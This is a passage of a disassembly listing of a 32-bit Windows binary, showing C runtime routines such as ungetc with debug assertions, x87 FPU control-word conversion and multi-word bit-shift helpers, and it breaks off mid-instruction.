CODE XREF: .data:0042ABD3j cmp dword ptr [ebp-4], 0 jnz short loc_42AC01 cmp dword ptr [ebp+8], 5Fh jz short loc_42AC01 mov dword ptr [ebp-8], 0 jmp short loc_42AC08 ; --------------------------------------------------------------------------- loc_42AC01: ; CODE XREF: .data:0042ABF0j ; .data:0042ABF6j mov dword ptr [ebp-8], 1 loc_42AC08: ; CODE XREF: .data:0042ABFFj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42AC10 proc near ; CODE XREF: sub_4236C0+9D7p ; sub_4236C0+A65p ... cmp cl, 40h jnb short loc_42AC2A cmp cl, 20h jnb short loc_42AC20 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_42AC20: ; CODE XREF: sub_42AC10+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42AC2A: ; CODE XREF: sub_42AC10+3j xor eax, eax xor edx, edx retn sub_42AC10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42AC37: ; CODE XREF: .data:0042AC5Fj cmp dword ptr [ebp+0Ch], 0 jnz short loc_42AC5B push offset dword_43449C push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42AC5B int 3 ; Trap to Debugger loc_42AC5B: ; CODE XREF: .data:0042AC3Bj ; .data:0042AC58j xor eax, eax test eax, eax jnz short loc_42AC37 mov ecx, [ebp+0Ch] push ecx call sub_41AE20 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42ACA0 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_41AE90 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ACA0 proc near ; CODE XREF: sub_424B60+11p ; .data:0042AC75p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42ACA7: ; CODE XREF: sub_42ACA0+2Fj cmp [ebp+arg_4], 0 jnz short loc_42ACCB push offset dword_4344AC push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42ACCB int 3 ; Trap to Debugger loc_42ACCB: ; CODE XREF: sub_42ACA0+Bj ; sub_42ACA0+28j xor eax, eax test eax, eax jnz short loc_42ACA7 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_42AD07 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_42AD0F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_42AD07 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_42AD0F loc_42AD07: ; CODE XREF: sub_42ACA0+3Bj ; sub_42ACA0+58j or eax, 0FFFFFFFFh jmp loc_42ADD7 ; --------------------------------------------------------------------------- loc_42AD0F: ; CODE XREF: sub_42ACA0+48j ; sub_42ACA0+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_42AD24 mov eax, [ebp+var_4] push eax call sub_429D20 add esp, 4 loc_42AD24: ; CODE XREF: sub_42ACA0+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_42AD4F mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_42AD42 or eax, 0FFFFFFFFh jmp loc_42ADD7 ; --------------------------------------------------------------------------- loc_42AD42: ; CODE XREF: sub_42ACA0+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_42AD4F: ; CODE XREF: sub_42ACA0+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_42AD8D mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_42AD8B mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_42ADD7 ; --------------------------------------------------------------------------- loc_42AD8B: ; CODE XREF: sub_42ACA0+D7j jmp short loc_42ADA4 ; --------------------------------------------------------------------------- loc_42AD8D: ; CODE XREF: sub_42ACA0+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_42ADA4: ; CODE XREF: sub_42ACA0:loc_42AD8Bj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_42ADD7: ; CODE XREF: sub_42ACA0+6Aj ; sub_42ACA0+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42ACA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ADE0 proc near ; CODE XREF: sub_425690+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42ADE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_42B1E0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_42B1E0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AE30 proc near ; CODE XREF: sub_42AE80+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_42AF00 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_42B080 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42AE30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AE80 proc near ; CODE XREF: sub_425BE0+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_42AE30 add esp, 8 pop ebp retn sub_42AE80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_4293E0 mov eax, [eax] mov [ebp-4], eax fninit call sub_425BE0 cmp dword ptr [ebp-4], 0 jz short loc_42AEF1 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_42AEF1 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_42AEF1: ; CODE XREF: .data:0042AEBEj ; .data:0042AECFj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AF00 proc near ; CODE XREF: sub_42AE30+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_42AF25 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_42AF25: ; CODE XREF: sub_42AF00+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42AF3D mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42AF3D: ; CODE XREF: sub_42AF00+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_42AF56 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_42AF56: ; CODE XREF: sub_42AF00+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42AF6E mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42AF6E: ; CODE XREF: sub_42AF00+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_42AF86 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_42AF86: ; CODE XREF: sub_42AF00+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_42AFA2 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_42AFA2: ; CODE XREF: sub_42AF00+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_42AFD5 cmp [ebp+var_8], 800h jz short loc_42AFE8 cmp [ebp+var_8], 0 jz short loc_42AFE0 cmp [ebp+var_8], 400h jz short loc_42AFF3 jmp short loc_42B007 ; --------------------------------------------------------------------------- loc_42AFD5: ; CODE XREF: sub_42AF00+B9j cmp [ebp+var_8], 0C00h jz short loc_42AFFE jmp short loc_42B007 ; --------------------------------------------------------------------------- loc_42AFE0: ; CODE XREF: sub_42AF00+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_42B007 ; --------------------------------------------------------------------------- loc_42AFE8: ; CODE XREF: sub_42AF00+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_42B007 ; --------------------------------------------------------------------------- loc_42AFF3: ; CODE XREF: sub_42AF00+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_42B007 ; --------------------------------------------------------------------------- loc_42AFFE: ; CODE XREF: sub_42AF00+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_42B007: ; CODE XREF: sub_42AF00+D3j ; sub_42AF00+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_42B049 cmp [ebp+var_C], 200h jz short loc_42B03B cmp [ebp+var_C], 300h jz short loc_42B033 jmp short loc_42B055 ; --------------------------------------------------------------------------- loc_42B033: ; CODE XREF: sub_42AF00+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_42B055 ; --------------------------------------------------------------------------- loc_42B03B: ; CODE XREF: sub_42AF00+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_42B055 ; --------------------------------------------------------------------------- loc_42B049: ; CODE XREF: sub_42AF00+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_42B055: ; CODE XREF: sub_42AF00+131j ; sub_42AF00+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_42B072 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_42B072: ; CODE XREF: sub_42AF00+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42AF00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B080 proc near ; CODE XREF: sub_42AE30+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_42B0A1 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_42B0A1: ; CODE XREF: sub_42B080+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_42B0B5 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_42B0B5: ; CODE XREF: sub_42B080+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_42B0CA mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_42B0CA: ; CODE XREF: sub_42B080+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_42B0DF mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_42B0DF: ; CODE XREF: sub_42B080+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_42B0F3 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_42B0F3: ; CODE XREF: sub_42B080+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_42B10B mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_42B10B: ; CODE XREF: sub_42B080+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_42B139 cmp [ebp+var_8], 200h jz short loc_42B14E cmp [ebp+var_8], 0 jz short loc_42B144 cmp [ebp+var_8], 100h jz short loc_42B15B jmp short loc_42B173 ; --------------------------------------------------------------------------- loc_42B139: ; CODE XREF: sub_42B080+9Dj cmp [ebp+var_8], 300h jz short loc_42B168 jmp short loc_42B173 ; --------------------------------------------------------------------------- loc_42B144: ; CODE XREF: sub_42B080+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_42B173 ; --------------------------------------------------------------------------- loc_42B14E: ; CODE XREF: sub_42B080+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_42B173 ; --------------------------------------------------------------------------- loc_42B15B: ; CODE XREF: sub_42B080+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_42B173 ; --------------------------------------------------------------------------- loc_42B168: ; CODE XREF: sub_42B080+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_42B173: ; CODE XREF: sub_42B080+B7j ; sub_42B080+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_42B199 cmp [ebp+var_C], 10000h jz short loc_42B1A6 cmp [ebp+var_C], 20000h jz short loc_42B1B3 jmp short loc_42B1BB ; --------------------------------------------------------------------------- loc_42B199: ; CODE XREF: sub_42B080+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_42B1BB ; --------------------------------------------------------------------------- loc_42B1A6: ; CODE XREF: sub_42B080+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_42B1BB ; --------------------------------------------------------------------------- loc_42B1B3: ; CODE XREF: sub_42B080+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_42B1BB: ; CODE XREF: sub_42B080+117j ; sub_42B080+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_42B1D2 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_42B1D2: ; CODE XREF: sub_42B080+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42B080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B1E0 proc near ; CODE XREF: .data:0042AE00p ; .data:0042AE21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_42B203 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_42B203: ; CODE XREF: sub_42B1E0+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42B21B mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42B21B: ; CODE XREF: sub_42B1E0+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_42B234 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_42B234: ; CODE XREF: sub_42B1E0+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42B24C mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42B24C: ; CODE XREF: sub_42B1E0+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_42B264 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_42B264: ; CODE XREF: sub_42B1E0+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_42B280 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_42B280: ; CODE XREF: sub_42B1E0+92j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42B1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B290 proc near ; CODE XREF: sub_42B3D0+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42B2B4 dec eax or eax, 0FFFFFFE0h inc eax loc_42B2B4: ; CODE XREF: sub_42B290+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_42B2DF xor eax, eax jmp short loc_42B310 ; --------------------------------------------------------------------------- loc_42B2DF: ; CODE XREF: sub_42B290+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42B2F3 ; --------------------------------------------------------------------------- loc_42B2EA: ; CODE XREF: sub_42B290:loc_42B309j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_42B2F3: ; CODE XREF: sub_42B290+58j cmp [ebp+var_C], 3 jge short loc_42B30B mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_42B309 xor eax, eax jmp short loc_42B310 ; --------------------------------------------------------------------------- loc_42B309: ; CODE XREF: sub_42B290+73j jmp short loc_42B2EA ; --------------------------------------------------------------------------- loc_42B30B: ; CODE XREF: sub_42B290+67j mov eax, 1 loc_42B310: ; CODE XREF: sub_42B290+4Dj ; sub_42B290+77j mov esp, ebp pop ebp retn sub_42B290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B320 proc near ; CODE XREF: sub_42B3D0+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42B344 dec eax or eax, 0FFFFFFE0h inc eax loc_42B344: ; CODE XREF: sub_42B320+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_42E4F0 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_42B392 ; --------------------------------------------------------------------------- loc_42B389: ; CODE XREF: sub_42B320+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42B392: ; CODE XREF: sub_42B320+67j cmp [ebp+var_C], 0 jl short loc_42B3C1 cmp [ebp+var_10], 0 jz short loc_42B3C1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_42E4F0 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_42B389 ; --------------------------------------------------------------------------- loc_42B3C1: ; CODE XREF: sub_42B320+76j ; sub_42B320+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_42B320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B3D0 proc near ; CODE XREF: sub_42B660+ABp ; sub_42B660+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_42B40E dec edx or edx, 0FFFFFFE0h inc edx loc_42B40E: ; CODE XREF: sub_42B3D0+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_42B45F mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_42B290 add esp, 8 test eax, eax jnz short loc_42B45F mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_42B320 add esp, 8 mov [ebp+var_18], eax loc_42B45F: ; CODE XREF: sub_42B3D0+63j ; sub_42B3D0+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_42B48F ; --------------------------------------------------------------------------- loc_42B486: ; CODE XREF: sub_42B3D0+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42B48F: ; CODE XREF: sub_42B3D0+B4j cmp [ebp+var_10], 3 jge short loc_42B4A4 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_42B486 ; --------------------------------------------------------------------------- loc_42B4A4: ; CODE XREF: sub_42B3D0+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_42B3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4B0 proc near ; CODE XREF: sub_42B660+98p ; sub_42B660+10Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_42B4D4 ; --------------------------------------------------------------------------- loc_42B4CB: ; CODE XREF: sub_42B4B0+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42B4D4: ; CODE XREF: sub_42B4B0+19j cmp [ebp+var_C], 3 jge short loc_42B4F8 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_42B4CB ; --------------------------------------------------------------------------- loc_42B4F8: ; CODE XREF: sub_42B4B0+28j mov esp, ebp pop ebp retn sub_42B4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B500 proc near ; CODE XREF: sub_42B660+7Cp ; sub_42B660+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42B516 ; --------------------------------------------------------------------------- loc_42B50D: ; CODE XREF: sub_42B500+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42B516: ; CODE XREF: sub_42B500+Bj cmp [ebp+var_4], 3 jge short loc_42B52B mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_42B50D ; --------------------------------------------------------------------------- loc_42B52B: ; CODE XREF: sub_42B500+1Aj mov esp, ebp pop ebp retn sub_42B500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B530 proc near ; CODE XREF: sub_42B660+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42B546 ; --------------------------------------------------------------------------- loc_42B53D: ; CODE XREF: sub_42B530:loc_42B55Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42B546: ; CODE XREF: sub_42B530+Bj cmp [ebp+var_4], 3 jge short loc_42B55E mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_42B55C xor eax, eax jmp short loc_42B563 ; --------------------------------------------------------------------------- loc_42B55C: ; CODE XREF: sub_42B530+26j jmp short loc_42B53D ; --------------------------------------------------------------------------- loc_42B55E: ; CODE XREF: sub_42B530+1Aj mov eax, 1 loc_42B563: ; CODE XREF: sub_42B530+2Aj mov esp, ebp pop ebp retn sub_42B530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B570 proc near ; CODE XREF: sub_42B660+11Fp ; sub_42B660+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42B595 dec eax or eax, 0FFFFFFE0h inc eax loc_42B595: ; CODE XREF: sub_42B570+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_42B5BE ; --------------------------------------------------------------------------- loc_42B5B5: ; CODE XREF: sub_42B570+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42B5BE: ; CODE XREF: sub_42B570+43j cmp [ebp+var_C], 3 jge short loc_42B611 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_42B5B5 ; --------------------------------------------------------------------------- loc_42B611: ; CODE XREF: sub_42B570+52j mov [ebp+var_C], 2 jmp short loc_42B623 ; --------------------------------------------------------------------------- loc_42B61A: ; CODE XREF: sub_42B570:loc_42B655j mov eax, [ebp+var_C] sub eax, 